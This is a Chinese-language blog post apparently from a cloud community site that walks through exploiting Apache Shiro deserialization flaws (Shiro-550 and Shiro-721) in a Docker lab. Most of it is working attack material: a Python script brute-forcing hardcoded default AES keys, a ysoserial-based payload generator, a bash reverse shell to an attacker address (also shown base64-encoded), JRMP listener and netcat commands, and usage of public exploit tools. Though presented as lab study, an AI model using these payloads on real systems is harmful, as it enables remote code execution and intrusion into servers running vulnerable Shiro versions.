Apache Shiro 反序列化漏洞

举报
拈花倾城 发表于 2022/01/14 13:24:15 2022/01/14
【摘要】 Apache Shiro 反序列化漏洞

@[TOC](Apache Shiro 反序列化漏洞)
欢迎大家关注我的公众号“嘀嗒安全”
在这里插入图片描述

shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习

一、简介

Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。

二、环境

kali-2021 攻击机 192.168.8.9

docker vulhub 192.168.8.6

vulhub

cd /vulhub/shiro/CVE-2016-4437

docker-compose up -d

三、漏洞原理

​ Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

1.首先正常登录,然后生成带有rememberme的返回cookie值。

2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

3.之后进入serialize,对登录认证信息进行序列化

4.然后加密,调用aes算法。

5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

6.解析cookie

7.先解密在反序列化

8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager这里用的是默认反序列化类,然后触发生成反序列化。

Shiro 1.2.4版本默认固定密钥:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dtlNv1GT-1640940518692)(shiro.assets/image-20211211224044433.png)]

Shiro框架默认指纹特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

四、AES秘钥

​ 在Shiro 1.2.4以及之前的版本中AES加密的秘钥都是默认的编码在代码里的(SHIRO-550),1.2.4以上移除了默认秘钥,需要开发者设置或者默认动态生成,降低了秘钥泄露的风险。

​ 但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。

可以在github上使用命令

"securityManager.setRememberMeManager(rememberMeManager);Base64.decode(“
或
"setCipherKey(Base64.decode(

1、判断AES秘钥

​ 密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

​ 而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

​ shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

CBC算法的shiro生成payload的关键代码如下,也就是我们通用的生成shiro攻击代码

​ python中有实现aes-cbc的算法,通过指定mode为AES-CBC,遍历key,随机生成iv,配合ysoserial的gadget即可生成payload

BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode =  AES.MODE_CBC
iv   =  uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

​ 而在1.4.2以后由于padding oracle的影响,shiro官方把加密方式改为了GCM,所以我们需要更改脚本,添加GCM下的攻击方式去攻击高版本的shiro,通过跟踪代码动态调试可以看出确实是使用GCM加密

​ 所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding,但需要一个MAC值(也就是我代码里的tag),这块可以自己跟一下源码,核心代码如下:

iv = os.urandom(16)    
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)              
ciphertext, tag = cipher.encrypt_and_digest(file_body)     
ciphertext = ciphertext + tag       
base64_ciphertext = base64.b64encode(iv + ciphertext)    
return base64_ciphertext

​ 密钥集合我这里简单列举了几个,网上流传大量现成的 Shiro 100 Key集合,请自行查找替换。密钥判断脚本如下:

​ 输入目标的url,通过判断返回包是否存在Set-Cookie:rememberMe=deleteMe来判断秘钥是否正确

import base64
import uuid
import sys
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] 		# 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("good KEY : " + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("good key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("good KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("good key:" + key)
                    return key
            print("good key:" + key)
            return key
        except Exception as e:
            print(e)
if __name__ == '__main__':
    encode_rememberme(sys.argv[1])

五、Shiro rememberMe反序列化漏洞(Shiro-550)

1、版本1.4.2之前

该版本漏洞利用

​ 第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在

​ 第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令

配置maven

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
vim /etc/profile   末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

下载ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/192.168.8.9/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WLopAX6n-1640940518693)(shiro.assets/image-20211213002541873.png)]

第三步:最终在VPS上执行的命令如下:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "ping e78g5l.dnslog.cn"

在这里插入图片描述
第四步:使用exp.py生成payload,命令如下:

python exp.py 192.168.8.9:1099   (注意这里的端口为1099)
import sys 
import uuid 
import base64 
import subprocess 
from Crypto.Cipher import AES 
def encode_rememberme(command): 
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'UTLDNS', command], stdout=subprocess.PIPE)
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsColllections5', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PGMnlebv-1640940518694)(shiro.assets/image-20211213004255018.png)]

第五步:在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234

第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload

第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。

2、版本1.4.2之后

​ 在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。

该版本漏洞利用

​ 一个攻击针对脚本,加入的GCM,可以爆破高版本的KEY

Github项目地址:

https://github.com/Ares-X/shiro-exploit.git

​ 首先,我们需要根据目标环境修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TQRvhClz-1640940518694)(shiro.assets/image-20211214001640190-1639449183569.png)]

利用脚本来爆破Shiro key,不指定-v将自动尝试两个版本的爆破

(-v 1 : CBC加密 -v 2 : GCM加密):

python shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml

python3 shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml -v 2

发送回显Payload,获取命令执行结果。

python shiro-exploit.py echo -g CommonsBeanutils2  -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml

脚本可能无法显示回显,所以我们可以配置代理去在burp中查看回显

修改python脚本设置代理,在requests使用代理proxies,增加proxies={‘http’: ‘http://’ + ‘127.0.0.1:8080’}。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2M6wU3Ph-1640940518695)(shiro.assets/image-20211214002216253-1639449183570.png)]

这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。

六、Shiro Padding Oracle Attack(Shiro-721)

​ 由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

1、漏洞利用

1、登录Shiro网站,从cookie中获得rememberMe字段的值,需要一个知道账号密码的账户。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AdBOrzAV-1640940518696)(shiro.assets/image-20211213220235813.png)]

2、利用DNSlog探测,通过ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2XTMHxk3-1640940518696)(shiro.assets/image-20211213220305447.png)]

爆破成功,输出Result:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKMM2Nrp-1640940518697)(shiro.assets/image-20211213220437242.png)]

4、使用构造的rememberMe攻击字符串重新请求网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KbPWA8c6-1640940518697)(shiro.assets/image-20211213220559189.png)]

5、成功触发Payload,在DNSLog获取到目标IP。

七、图形化工具

ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
Github项目地址:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SMHzpqwd-1640940518698)(shiro.assets/image-20211212203153013.png)]

Shiro-721,需输入url,提供一个有效的rememberMe Cookie

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jmVYojgm-1640940518698)(shiro.assets/image-20211212214031712.png)]

攻击成功后会显示目标的key,并有一些简单的反弹shell,webshell写入和命令执行的操作[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S5q4paCu-1640940518699)(shiro.assets/image-20211213012622625.png)]

shiro_attack By j1anFen

github:https://github.com/j1anFen/shiro_attack

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99sNeOw9-1640940518699)(shiro.assets/image-20211213021136360.png)]

希望对大家有所帮助!!!

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。